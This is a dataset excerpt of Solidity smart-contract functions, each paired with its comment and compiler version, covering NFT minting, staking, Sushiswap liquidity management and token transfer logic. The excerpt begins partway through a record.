_cardAmount, \"10 common cards required to craft\");\r\n } else {\r\n require(crafterContract.balanceOf(msg.sender, _cardID) >= _cardAmount, \"1 rare card required to craft\");\r\n }\r\n }\r\n\r\n //Craft reward card\r\n crafterContract.craftRewardCard(msg.sender, _cardID, _collectionName);\r\n //Burn card(s)\r\n crafterContract.burnCard(msg.sender, _cardID, _cardAmount);\r\n }", "version": "0.7.0"} {"comment": "//Redeem reward card", "function_code": "function redeemReward(uint256 _cardID) public {\r\n\r\n //Check ownership of card\r\n require(crafterContract.balanceOf(msg.sender, _cardID) > 0, \"You do not own this card\");\r\n\r\n //Grab card data\r\n (,uint256 cardType,,,uint256 _redeemLeft,uint256 _redeemInterval,uint256 _redeemLastTimeStamp,uint256 _tokenReward,uint256 _percentageRedeem) = crafterContract.cards(_cardID);\r\n\r\n //Check card last redeem timestamp against its interval\r\n require(block.timestamp > (_redeemLastTimeStamp + _redeemInterval.mul(oneDay)), \"This card has already been redeemed this interval, wait until reset\");\r\n //Make sure this is is not a booster card\r\n require(cardType != 3, \"Booster cards do not have any rewards associated with them\");\r\n\r\n //Update or burn card\r\n if(cardType != 2) {\r\n //Burn the card\r\n crafterContract.burnCard(msg.sender, _cardID, 1);\r\n } else {\r\n require(_redeemLeft > 0, \"No redeems available on this card\");\r\n crafterContract.updateCardStats(_cardID);\r\n }\r\n\r\n //Token redeem\r\n if(_tokenReward > 0) {\r\n //Send token reward\r\n require(tokenContract.transfer(msg.sender, _tokenReward.mul(SCALAR)));\r\n }\r\n\r\n //Percentage redeem\r\n if(_percentageRedeem > 0) {\r\n\r\n //Get balance from staking contract\r\n (uint256 _stakedTokens,,) = stakingContract.stakerInformation(msg.sender);\r\n //Calculate percentage\r\n uint256 _percentageReward = mulDiv(_stakedTokens, _percentageRedeem, 100);\r\n //Send token reward\r\n require(tokenContract.transfer(msg.sender, _percentageReward));\r\n }\r\n }", "version": "0.7.0"} {"comment": "//21m coins total\n//reward begins at 50 and is cut in half every reward era (as tokens are mined)", "function_code": "function getMiningReward() public constant returns (uint) {\r\n //once we get half way thru the coins, only get 25 per block\r\n\r\n //every reward era, the reward amount halves.\r\n\r\n return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;\r\n\r\n }", "version": "0.4.18"} {"comment": "// overridable for testing", "function_code": "function getReserves(address tokenA, address tokenB)\r\n internal\r\n view\r\n returns (uint256 reserveA, uint256 reserveB)\r\n {\r\n (address token0, ) = UniswapV2Library.sortTokens(tokenA, tokenB);\r\n (uint256 reserve0, uint256 reserve1, ) =\r\n IUniswapV2Pair(\r\n UniswapV2Library.pairFor(UNISWAP_FACTORY, tokenA, tokenB)\r\n )\r\n .getReserves();\r\n (reserveA, reserveB) = tokenA == token0\r\n ? (reserve0, reserve1)\r\n : (reserve1, reserve0);\r\n }", "version": "0.5.17"} {"comment": "// mLoots deposited to this contract CANNOT be returned!", "function_code": "function mLootMultiDeposit(uint256[] memory mLootId) external payable nonReentrant{\r\n require(depositPrice * mLootId.length <= msg.value, \"Ether value sent is not correct\");\r\n for (uint256 i = 0; i < mLootId.length; i++){\r\n _deposit(mLootId[i]);\r\n }\r\n emit DepositMulti(_msgSender(), mLootId);\r\n }", "version": "0.8.4"} {"comment": "/// @notice Returns the NFT metadata.\n/// @param tokenId The token id that we want to get its metadata.\n/// @return string, Concatenated baseURI, tokenName(Same as tokenId), json, Which results in url pointing to the token metadata.", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n override\n returns (string memory)\n {\n require(\n _exists(tokenId),\n \"HYPERSLOTHS: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n string memory tokenName = Strings.toString(tokenId);\n string memory json = \".json\";\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenName, json))\n : \"\";\n }", "version": "0.8.7"} {"comment": "/// @notice Same as mint function but without validations.\n/// @dev Can be called only by the owner and can't mint more than 40 at a time.\n/// @param _to The address that is getting the NFT.\n/// @param amount The amount the address is allowed to mint.\n/// @param proof A hash, proof that this user is verified in merkle tree.", "function_code": "function mintFreeNFT(\n address _to,\n uint256 amount,\n bytes32[] memory proof\n ) public onlyOwner {\n require(amount <= 40, \"Cant Mint More Than 40 NFTs At A Time.\");\n require(\n validateUser(proof, _leaf(_to, amount), freeMintMerkleRoot),\n \"User Is Not In The Free Mint List.\"\n );\n for (uint256 i = 0; i < amount; i++) {\n uint256 newItemId = totalSupply() + 1;\n _safeMint(_to, newItemId);\n }\n // Incrementing the correct counter by the amount after each mint loop.\n freeMintsAmount[_to] += amount;\n }", "version": "0.8.7"} {"comment": "/// @notice Get The NFT Ids Owned By An Address.\n/// @param _address The owner of the nfts.\n/// @return uint256[], Array of token ids that the address owns.", "function_code": "function getTokensByAddress(address _address)\n public\n view\n returns (uint256[] memory)\n {\n uint256 amount = balanceOf(_address);\n uint256[] memory tokens = new uint256[](amount);\n for (uint256 i = 0; i < amount; i++) {\n uint256 token = tokenOfOwnerByIndex(_address, i);\n tokens[i] = token;\n }\n return tokens;\n }", "version": "0.8.7"} {"comment": "/// @notice Check if the caller is in whitelist or freemint list.\n/// @param proof MerkleTree proof that the user is verified.\n/// @param leaf MerkleTree hash that is then verified by the root.\n/// @return bool, True - User is verified, False - User is not verified.", "function_code": "function validateUser(\n bytes32[] memory proof,\n bytes32 leaf,\n bytes32 root\n ) public view returns (bool) {\n require(\n root == whiteListMerkleRoot || root == freeMintMerkleRoot,\n \"root is not valid\"\n );\n return MerkleProof.verify(proof, root, leaf);\n }", "version": "0.8.7"} {"comment": "// Add multiple pools for one victim", "function_code": "function addBulk(Victim _victim, uint256[] memory victimPids) external onlyOwner {\r\n for (uint i = 0; i < victimPids.length; i++) {\r\n poolInfo.push(PoolInfo({\r\n victim: _victim,\r\n victimPoolId: victimPids[i],\r\n lastUpdateBlock: 0,\r\n accWethPerShare: 0,\r\n wethAccumulator: 0,\r\n rewardRate: 0,\r\n periodFinish: 0,\r\n basePoolShares: 0,\r\n baseDeposits: 0\r\n }));\r\n }\r\n }", "version": "0.7.6"} {"comment": "// WETH reward per staked share", "function_code": "function wethPerShare(uint256 _pid) public view returns (uint256) {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n uint256 totalStaked = pool.victim.lockedAmount(pool.victimPoolId);\r\n if (totalStaked == 0) {\r\n return pool.accWethPerShare;\r\n }\r\n return\r\n pool.accWethPerShare.add(\r\n lastTimeRewardApplicable(_pid)\r\n .sub(pool.lastUpdateBlock)\r\n .mul(pool.rewardRate)\r\n .mul(1e18)\r\n .div(totalStaked)\r\n );\r\n }", "version": "0.7.6"} {"comment": "// Withdraw in case of emergency. No rewards will be claimed.", "function_code": "function emergencyWithdraw(uint256 pid) external nonReentrant {\r\n PoolInfo storage pool = poolInfo[pid];\r\n UserInfo storage user = userInfo[pid][msg.sender];\r\n pool.victim.withdraw(pool.victimPoolId, user.amount);\r\n pool.victim.lockableToken(pool.victimPoolId).safeTransfer(address(msg.sender), user.amount);\r\n emit EmergencyWithdraw(msg.sender, pid, user.amount);\r\n user.amount = 0;\r\n user.rewards = 0;\r\n user.rewardDebt = 0;\r\n user.poolShares = 0;\r\n }", "version": "0.7.6"} {"comment": "/// @dev Return the LP token for the token pairs (can be in any order)\n/// @param tokenA Token A to get LP token\n/// @param tokenB Token B to get LP token", "function_code": "function getAndApprovePair(address tokenA, address tokenB) public returns (address) {\n address lp = pairs[tokenA][tokenB];\n if (lp == address(0)) {\n lp = factory.getPair(tokenA, tokenB);\n require(lp != address(0), 'no lp token');\n ensureApprove(tokenA, address(router));\n ensureApprove(tokenB, address(router));\n ensureApprove(lp, address(router));\n pairs[tokenA][tokenB] = lp;\n pairs[tokenB][tokenA] = lp;\n }\n return lp;\n }", "version": "0.6.12"} {"comment": "/// @dev Compute optimal deposit amount\n/// @param amtA amount of token A desired to deposit\n/// @param amtB amount of token B desired to deposit\n/// @param resA amount of token A in reserve\n/// @param resB amount of token B in reserve", "function_code": "function optimalDeposit(\n uint amtA,\n uint amtB,\n uint resA,\n uint resB\n ) internal pure returns (uint swapAmt, bool isReversed) {\n if (amtA.mul(resB) >= amtB.mul(resA)) {\n swapAmt = _optimalDepositA(amtA, amtB, resA, resB);\n isReversed = false;\n } else {\n swapAmt = _optimalDepositA(amtB, amtA, resB, resA);\n isReversed = true;\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Compute optimal deposit amount helper.\n/// @param amtA amount of token A desired to deposit\n/// @param amtB amount of token B desired to deposit\n/// @param resA amount of token A in reserve\n/// @param resB amount of token B in reserve\n/// Formula: https://blog.alphafinance.io/byot/", "function_code": "function _optimalDepositA(\n uint amtA,\n uint amtB,\n uint resA,\n uint resB\n ) internal pure returns (uint) {\n require(amtA.mul(resB) >= amtB.mul(resA), 'Reversed');\n uint a = 997;\n uint b = uint(1997).mul(resA);\n uint _c = (amtA.mul(resB)).sub(amtB.mul(resA));\n uint c = _c.mul(1000).div(amtB.add(resB)).mul(resA);\n uint d = a.mul(c).mul(4);\n uint e = HomoraMath.sqrt(b.mul(b).add(d));\n uint numerator = e.sub(b);\n uint denominator = a.mul(2);\n return numerator.div(denominator);\n }", "version": "0.6.12"} {"comment": "/// @dev Add liquidity to Sushiswap pool, with no staking rewards (use WERC20 wrapper)\n/// @param tokenA Token A for the pair\n/// @param tokenB Token B for the pair\n/// @param amt Amounts of tokens to supply, borrow, and get.", "function_code": "function addLiquidityWERC20(\n address tokenA,\n address tokenB,\n Amounts calldata amt\n ) external payable {\n address lp = getAndApprovePair(tokenA, tokenB);\n // 1-5. add liquidity\n addLiquidityInternal(tokenA, tokenB, amt, lp);\n\n // 6. Put collateral\n doPutCollateral(lp, IERC20(lp).balanceOf(address(this)));\n\n // 7. Refund leftovers to users\n doRefundETH();\n doRefund(tokenA);\n doRefund(tokenB);\n }", "version": "0.6.12"} {"comment": "/// @dev Add liquidity to Sushiswap pool, with staking to masterChef\n/// @param tokenA Token A for the pair\n/// @param tokenB Token B for the pair\n/// @param amt Amounts of tokens to supply, borrow, and get.\n/// @param pid Pool id", "function_code": "function addLiquidityWMasterChef(\n address tokenA,\n address tokenB,\n Amounts calldata amt,\n uint pid\n ) external payable {\n address lp = getAndApprovePair(tokenA, tokenB);\n (address lpToken, , , ) = wmasterchef.chef().poolInfo(pid);\n require(lpToken == lp, 'incorrect lp token');\n\n // 1-5. add liquidity\n addLiquidityInternal(tokenA, tokenB, amt, lp);\n\n // 6. Take out collateral\n (, address collToken, uint collId, uint collSize) = bank.getCurrentPositionInfo();\n if (collSize > 0) {\n (uint decodedPid, ) = wmasterchef.decodeId(collId);\n require(pid == decodedPid, 'incorrect pid');\n require(collToken == address(wmasterchef), 'collateral token & wmasterchef mismatched');\n bank.takeCollateral(address(wmasterchef), collId, collSize);\n wmasterchef.burn(collId, collSize);\n }\n\n // 7. Put collateral\n ensureApprove(lp, address(wmasterchef));\n uint amount = IERC20(lp).balanceOf(address(this));\n uint id = wmasterchef.mint(pid, amount);\n bank.putCollateral(address(wmasterchef), id, amount);\n\n // 8. Refund leftovers to users\n doRefundETH();\n doRefund(tokenA);\n doRefund(tokenB);\n\n // 9. Refund sushi\n doRefund(sushi);\n }", "version": "0.6.12"} {"comment": "/// @dev Remove liquidity from Sushiswap pool, with no staking rewards (use WERC20 wrapper)\n/// @param tokenA Token A for the pair\n/// @param tokenB Token B for the pair\n/// @param amt Amounts of tokens to take out, withdraw, repay, and get.", "function_code": "function removeLiquidityWERC20(\n address tokenA,\n address tokenB,\n RepayAmounts calldata amt\n ) external {\n address lp = getAndApprovePair(tokenA, tokenB);\n\n // 1. Take out collateral\n doTakeCollateral(lp, amt.amtLPTake);\n\n // 2-8. remove liquidity\n removeLiquidityInternal(tokenA, tokenB, amt, lp);\n }", "version": "0.6.12"} {"comment": "/// @dev Remove liquidity from Sushiswap pool, from masterChef staking\n/// @param tokenA Token A for the pair\n/// @param tokenB Token B for the pair\n/// @param amt Amounts of tokens to take out, withdraw, repay, and get.", "function_code": "function removeLiquidityWMasterChef(\n address tokenA,\n address tokenB,\n RepayAmounts calldata amt\n ) external {\n address lp = getAndApprovePair(tokenA, tokenB);\n (, address collToken, uint collId, ) = bank.getCurrentPositionInfo();\n require(IWMasterChef(collToken).getUnderlyingToken(collId) == lp, 'incorrect underlying');\n require(collToken == address(wmasterchef), 'collateral token & wmasterchef mismatched');\n\n // 1. Take out collateral\n bank.takeCollateral(address(wmasterchef), collId, amt.amtLPTake);\n wmasterchef.burn(collId, amt.amtLPTake);\n\n // 2-8. remove liquidity\n removeLiquidityInternal(tokenA, tokenB, amt, lp);\n\n // 9. Refund sushi\n doRefund(sushi);\n }", "version": "0.6.12"} {"comment": "/// @dev Harvest SUSHI reward tokens to in-exec position's owner", "function_code": "function harvestWMasterChef() external {\n (, address collToken, uint collId, ) = bank.getCurrentPositionInfo();\n (uint pid, ) = wmasterchef.decodeId(collId);\n address lp = wmasterchef.getUnderlyingToken(collId);\n require(whitelistedLpTokens[lp], 'lp token not whitelisted');\n require(collToken == address(wmasterchef), 'collateral token & wmasterchef mismatched');\n\n // 1. Take out collateral\n bank.takeCollateral(address(wmasterchef), collId, uint(-1));\n wmasterchef.burn(collId, uint(-1));\n\n // 2. put collateral\n uint amount = IERC20(lp).balanceOf(address(this));\n ensureApprove(lp, address(wmasterchef));\n uint id = wmasterchef.mint(pid, amount);\n bank.putCollateral(address(wmasterchef), id, amount);\n\n // 3. Refund sushi\n doRefund(sushi);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev converts all incoming ethereum to keys.\r\n * @param _affCode the ID/address/name of the player who gets the affiliate fee\r\n * @param _team what team is the player playing for?\r\n */", "function_code": "function buyXid(uint256 _affCode, uint256 _team)\r\n isActivated()\r\n isHuman()\r\n isWithinLimits(msg.value)\r\n public\r\n payable\r\n {\r\n // set up our tx event data and determine if player is new or not\r\n CAE4Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);\r\n \r\n // fetch player id\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n \r\n // manage affiliate residuals\r\n // if no affiliate code was given or player tried to use their own, lolz\r\n if (_affCode == 0 || _affCode == _pID)\r\n {\r\n // use last stored affiliate code \r\n _affCode = plyr_[_pID].laff;\r\n \r\n // if affiliate code was given & its not the same as previously stored \r\n } else if (_affCode != plyr_[_pID].laff) {\r\n // update last affiliate \r\n plyr_[_pID].laff = _affCode;\r\n }\r\n \r\n // verify a valid team was selected\r\n _team = verifyTeam(_team);\r\n \r\n // buy core \r\n buyCore(_pID, _affCode, _team, _eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns all current round info needed for front end\r\n * -functionhash- 0x747dff42\r\n * @return eth invested during ICO phase\r\n * @return round id \r\n * @return total keys for round \r\n * @return time round ends\r\n * @return time round started\r\n * @return current pot \r\n * @return current team ID & player ID in lead \r\n * @return current player in leads address \r\n * @return current player in leads name\r\n * @return elephants eth in for round\r\n * @return nuts eth in for round\r\n * @return rock eth in for round\r\n * @return rivulets eth in for round\r\n * @return airdrop tracker # & airdrop pot\r\n */", "function_code": "function getCurrentRoundInfo()\r\n public\r\n view\r\n returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n \r\n return\r\n (\r\n round_[_rID].eth, //0\r\n _rID, //1\r\n round_[_rID].keys, //2\r\n round_[_rID].end, //3\r\n round_[_rID].strt, //4\r\n round_[_rID].pot, //5\r\n (round_[_rID].team + (round_[_rID].plyr * 10)), //6\r\n plyr_[round_[_rID].plyr].addr, //7\r\n plyr_[round_[_rID].plyr].name, //8\r\n rndTmEth_[_rID][0], //9\r\n rndTmEth_[_rID][1], //10\r\n rndTmEth_[_rID][2], //11\r\n rndTmEth_[_rID][3], //12\r\n airDropTracker_ + (airDropPot_ * 1000) //13\r\n );\r\n }", "version": "0.4.24"} {"comment": "// WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. \n// This is a constructor function \n// which means the following function name has to match the contract name declared above", "function_code": "function Dubscoin() {\r\n balances[msg.sender] = 11111111100000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)\r\n totalSupply = 11111111100000000000; // Update total supply (1000 for example) (CHANGE THIS)\r\n name = \"Dubscoin\"; // Set the name for display purposes (CHANGE THIS)\r\n decimals = 11; // Amount of decimals for display purposes (CHANGE THIS)\r\n symbol = \"DUBS\"; // Set the symbol for display purposes (CHANGE THIS) // Set the price of your token for the ICO (CHANGE THIS)\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @notice If volatility of asset pair is over 200%, spread rate becomes variable\r\n **/", "function_code": "function calculateSpreadByAssetVolatility(OracleInterface oracle)\r\n external\r\n override\r\n returns (uint128)\r\n {\r\n if (address(oracle) == address(0)) {\r\n return uint128(SPREAD_RATE);\r\n }\r\n uint256 volatility = oracle.getVolatility().mul(TEN_DIGITS);\r\n if ((DECIMAL * 100) > volatility && (DECIMAL * 2) < volatility) {\r\n return SPREAD_RATE.mulByRate(volatility).div(2).toUint128();\r\n } else if (DECIMAL * 100 <= volatility) {\r\n return uint128(SPREAD_RATE * 50);\r\n }\r\n return uint128(SPREAD_RATE);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice Approximate expression of option token volatility\r\n * @param coef Coefficient of S/K in the linear equation\r\n * @param coefsig Coefficient of vol * t^0.5 in the linear equation\r\n * @param intercept Intercept in the linear equation\r\n * @param ratio S/K\r\n * @param sigTime vol * t^0.5\r\n * @dev Spread is difined by volatility of LBT which is approached by linear equation (intercept - coef * S/K - coefsig * vol * t^0.5)\r\n * @dev Coefficient and intercept of linear equation is determined by S/k(and alpha - beta * vol * t^0.5)\r\n * @dev spread = 0.3 * v / 2\r\n **/", "function_code": "function _caluculateZ(\r\n uint256 coef,\r\n uint256 coefsig,\r\n uint256 intercept,\r\n uint256 ratio,\r\n uint256 sigTime\r\n ) private pure returns (uint256) {\r\n uint256 z = intercept.sub(ratio.mulByRate(coef)).sub(\r\n sigTime.mulByRate(coefsig)\r\n );\r\n if (z <= 2 * DECIMAL) {\r\n return DECIMAL;\r\n } else if (z >= DECIMAL.mul(100)) {\r\n return DECIMAL * 50;\r\n }\r\n return z.div(2);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice Calculate square root of uint\r\n **/", "function_code": "function _sqrt(uint256 x) private pure returns (uint256 y) {\r\n uint256 z = (x + 1) / 2;\r\n y = x;\r\n while (z < y) {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n }", "version": "0.6.6"} {"comment": "/**\n * @dev See {IWOWSERC1155-getNextMintableTokenId}.\n */", "function_code": "function getNextMintableTokenId(uint8 level, uint8 cardId)\n external\n view\n override\n returns (bool, uint256)\n {\n uint16 levelCard = ((uint16(level) << 8) | cardId);\n uint256 tokenId = uint32(levelCard) << 16;\n uint256 tokenIdEnd = tokenId + _wowsLevelCap[level];\n\n for (; tokenId < tokenIdEnd; ++tokenId)\n if (!_tokenInfos[tokenId].minted) return (true, tokenId);\n return (false, uint256(-1));\n }", "version": "0.7.4"} {"comment": "/**\n * @dev See {IWOWSERC1155-setURI}.\n */", "function_code": "function setURI(uint256 tokenId, string memory _uri) public override {\n require(\n hasRole((tokenId == 0) ? DEFAULT_ADMIN_ROLE : MINTER_ROLE, _msgSender()),\n 'Access denied'\n );\n require(tokenId == 0 || tokenId > 0xFFFFFFFF, 'invalid tokenId');\n\n if (tokenId == 0) _setURI(_uri);\n else _customCards[tokenId].uri = _uri;\n }", "version": "0.7.4"} {"comment": "/**\n * @dev See {IERC1155-setApprovalForAll}.\n */", "function_code": "function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n // Prevent auctions like OpenSea from selling this token. Selling by third\n // parties is only allowed for cryptofolios which are locked in one of our\n // TradeFloor contracts.\n require(hasRole(OPERATOR_ROLE, operator), 'Only Operators');\n\n super.setApprovalForAll(operator, approved);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev See {IERC1155MetadataURI-uri}.\n *\n * For custom tokens the URI is thought to be a full URL without\n * placeholders. For our WOWS token a tokenid placeholder is expected, and\n * the id is of the metadata is tokenId >> 16 because 16Bit tken share the\n * same metadata / image.\n */", "function_code": "function uri(uint256 tokenId)\n public\n view\n virtual\n override(ERC1155)\n returns (string memory)\n {\n if (tokenId > 0xFFFFFFFF)\n // Custom token\n return\n bytes(_customCards[tokenId].uri).length == 0\n ? _customDefaultUri\n : _customCards[tokenId].uri;\n\n // WOWS token\n return\n string(\n abi.encodePacked(\n super.uri(0),\n HEX[(tokenId >> 28) & 0xF],\n HEX[(tokenId >> 24) & 0xF],\n HEX[(tokenId >> 20) & 0xF],\n HEX[(tokenId >> 16) & 0xF],\n '.json'\n )\n );\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Return information about a wows card\n *\n * @param levels The levels of the card to query\n * @param cardIds A list of card ids to query\n *\n * @return capMintedPair Array of 16 Bit, cap,minted,...\n */", "function_code": "function getCardDataBatch(uint8[] memory levels, uint8[] memory cardIds)\n external\n view\n returns (uint16[] memory capMintedPair)\n {\n require(levels.length == cardIds.length, 'Length mismatch');\n uint16[] memory result = new uint16[](cardIds.length * 2);\n for (uint256 i = 0; i < cardIds.length; ++i) {\n result[i * 2] = _wowsLevelCap[levels[i]];\n result[i * 2 + 1] = _wowsCardsMinted[\n (uint16(levels[i]) << 8) | cardIds[i]\n ];\n }\n return result;\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Return list of tokenIds owned by `account`\n */", "function_code": "function getTokenIds(address account)\n external\n view\n returns (uint256[] memory)\n {\n Owned storage list = _owned[account];\n uint256[] memory result = new uint256[](list.count);\n ListKey storage key = list.listKey;\n for (uint256 i = 0; i < list.count; ++i) {\n result[i] = key.index;\n key = _tokenInfos[key.index].listKey;\n }\n return result;\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Set the cap of a specific WOWS level\n *\n * Note that this function can be used to add a new card.\n */", "function_code": "function setWowsLevelCaps(uint8[] memory levels, uint16[] memory newCaps)\n public\n {\n require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'Only admin');\n require(levels.length == newCaps.length, \"Lengths don't match\");\n\n for (uint256 i = 0; i < levels.length; ++i) {\n require(_wowsLevelCap[levels[i]] < newCaps[i], 'Decrement forbidden');\n _wowsLevelCap[levels[i]] = newCaps[i];\n }\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Ownership change -> update linked list owner -> tokenId\n *\n * linkKeys are 1 based where tokenIds are 0-based.\n */", "function_code": "function _relinkOwner(\n address from,\n address to,\n uint256 tokenId\n ) internal {\n TokenInfo storage tokenInfo = _tokenInfos[tokenId];\n\n // Remove tokenId from List\n if (from != address(0)) {\n Owned storage fromList = _owned[from];\n require(fromList.count > 0, 'Count mismatch');\n ListKey storage key = fromList.listKey;\n uint256 count = fromList.count;\n\n // Search the token which links to tokenId\n for (; count > 0 && key.index != tokenId; --count)\n key = _tokenInfos[key.index].listKey;\n require(key.index == tokenId, 'Key mismatch');\n\n // Unlink prev -> tokenId\n key.index = tokenInfo.listKey.index;\n // Unlink tokenId -> next\n tokenInfo.listKey.index = 0;\n // Decrement count\n fromList.count--;\n }\n\n if (to != address(0)) {\n Owned storage toList = _owned[to];\n tokenInfo.listKey.index = toList.listKey.index;\n toList.listKey.index = tokenId;\n toList.count++;\n }\n }", "version": "0.7.4"} {"comment": "// transfer locked balance to an address", "function_code": "function transferLockedBalance(uint _category, address _to, uint _value) public onlyOwner returns (bool success) {\r\n require(balances[msg.sender] >= _value && _value > 0);\r\n lockedAddresses[_category].push(_to);\r\n balances[msg.sender] -= _value;\r\n timeLockedBalances[_category][_to] += _value;\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// unlock category of locked address", "function_code": "function unlockBalance(uint _category) public onlyOwner returns (bool success) {\r\n uint _length = lockedAddresses[_category].length;\r\n address _addr;\r\n uint _value = 0;\r\n for(uint i = 0; i< _length; i++) {\r\n _addr = lockedAddresses[_category][i];\r\n _value = timeLockedBalances[_category][_addr];\r\n balances[_addr] += _value;\r\n timeLockedBalances[_category][_addr] = 0;\r\n }\r\n delete lockedAddresses[_category];\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// solium-disable-next-line security/no-assign-params", "function_code": "function uint2str(uint256 _i) internal pure returns (string memory) {\n if (_i == 0) {\n return \"0\";\n }\n uint256 j = _i;\n uint256 len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bstr = new bytes(len);\n uint256 k = len - 1;\n while (_i != 0) {\n bstr[k--] = bytes1(uint8(48 + (_i % 10)));\n _i /= 10;\n }\n return string(bstr);\n }", "version": "0.6.5"} {"comment": "// Defining a constructor ", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {\r\n require(_to != address(0));\r\n require(_value <= balances[_from]);\r\n require(_value <= allowed[_from][msg.sender]);\r\n \r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n \r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Check if a purchase message is valid\n/// @param buyer The address paying for the purchase & receiving tokens\n/// @param catalystIds The catalyst IDs to be purchased\n/// @param catalystQuantities The quantities of the catalysts to be purchased\n/// @param gemIds The gem IDs to be purchased\n/// @param gemQuantities The quantities of the gems to be purchased\n/// @param nonce The current nonce for the user. This is represented as a\n/// uint256 value, but is actually 2 packed uint128's (queueId + nonce)\n/// @param signature A signed message specifying tx details\n/// @return True if the purchase is valid", "function_code": "function isPurchaseValid(\n address buyer,\n uint256[] memory catalystIds,\n uint256[] memory catalystQuantities,\n uint256[] memory gemIds,\n uint256[] memory gemQuantities,\n uint256 nonce,\n bytes memory signature\n ) public returns (bool) {\n require(_checkAndUpdateNonce(buyer, nonce), \"INVALID_NONCE\");\n require(_validateGemAmounts(catalystIds, catalystQuantities, gemQuantities), \"INVALID_GEMS\");\n bytes32 hashedData = keccak256(abi.encodePacked(catalystIds, catalystQuantities, gemIds, gemQuantities, buyer, nonce));\n\n address signer = SigUtil.recover(keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hashedData)), signature);\n return signer == _signingWallet;\n }", "version": "0.6.5"} {"comment": "/// @dev Function for validating the nonce for a user.\n/// @param _buyer The address for which we want to check the nonce\n/// @param _packedValue The queueId + nonce, packed together.\n/// EG: for queueId=42 nonce=7, pass: \"0x0000000000000000000000000000002A00000000000000000000000000000007\"", "function_code": "function _checkAndUpdateNonce(address _buyer, uint256 _packedValue) private returns (bool) {\n uint128 queueId = uint128(_packedValue / 2**128);\n uint128 nonce = uint128(_packedValue % 2**128);\n uint128 currentNonce = queuedNonces[_buyer][queueId];\n if (nonce == currentNonce) {\n queuedNonces[_buyer][queueId] = currentNonce + 1;\n return true;\n }\n return false;\n }", "version": "0.6.5"} {"comment": "/// @dev Function to ensure the gem amounts requested are valid.\n/// @param catalystIds An array of Ids. Order cannot be assumed to be consistent.\n/// @param catalystQuantities The quantitiy of each catalyst Id\n/// @param gemQuantities The quantitiy of each type of gem.\n/// @return bool - whether or not gem amounts are valid", "function_code": "function _validateGemAmounts(\n uint256[] memory catalystIds,\n uint256[] memory catalystQuantities,\n uint256[] memory gemQuantities\n ) private returns (bool) {\n uint256 maxGemsAllowed;\n uint256 requestedGems;\n for (uint256 i = 0; i < catalystQuantities.length; i++) {\n require(catalystIds[i] < 4, \"ID_OUT_OF_BOUNDS\");\n maxGemsAllowed += catalystQuantities[i] * (catalystIds[i] + 1);\n }\n for (uint256 i = 0; i < gemQuantities.length; i++) {\n requestedGems += gemQuantities[i];\n }\n return (requestedGems <= maxGemsAllowed);\n }", "version": "0.6.5"} {"comment": "/// @notice Transfer `amount` tokens from `from` to `to`.\n/// @param from whose token it is transferring from.\n/// @param to the recipient address of the tokens transfered.\n/// @param amount the number of tokens transfered.\n/// @return success true if success.", "function_code": "function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external override returns (bool success) {\n if (msg.sender != from && !_superOperators[msg.sender]) {\n uint256 currentAllowance = _allowances[from][msg.sender];\n if (currentAllowance != ~uint256(0)) {\n // save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)\n require(currentAllowance >= amount, \"NOT_AUTHOIZED_ALLOWANCE\");\n _allowances[from][msg.sender] = currentAllowance - amount;\n }\n }\n _transfer(from, to, amount);\n return true;\n }", "version": "0.6.5"} {"comment": "/// @notice burn `amount` tokens from `owner`.\n/// @param from address whose token is to burn.\n/// @param amount the number of token to burn.", "function_code": "function burnFor(address from, uint256 amount) external override {\n if (msg.sender != from && !_superOperators[msg.sender]) {\n uint256 currentAllowance = _allowances[from][msg.sender];\n if (currentAllowance != ~uint256(0)) {\n require(currentAllowance >= amount, \"NOT_AUTHOIZED_ALLOWANCE\");\n _allowances[from][msg.sender] = currentAllowance - amount;\n }\n }\n _burn(from, amount);\n }", "version": "0.6.5"} {"comment": "// End Getter\n// Business Logic", "function_code": "function adminMint() external onlyAdmin {\r\n uint _amount = accounts[msg.sender].nftsReserved;\r\n require(accounts[msg.sender].isAdmin == true,\"Sorry, Only an admin can mint\");\r\n require(_amount > 0, 'Need to have reserved supply');\r\n require(totalSupply() + _amount <= MAX_PHC, \"You would exceed the mint limit\");\r\n\r\n accounts[msg.sender].nftsReserved -= _amount;\r\n _reserved = _reserved - _amount;\r\n\r\n\r\n for (uint 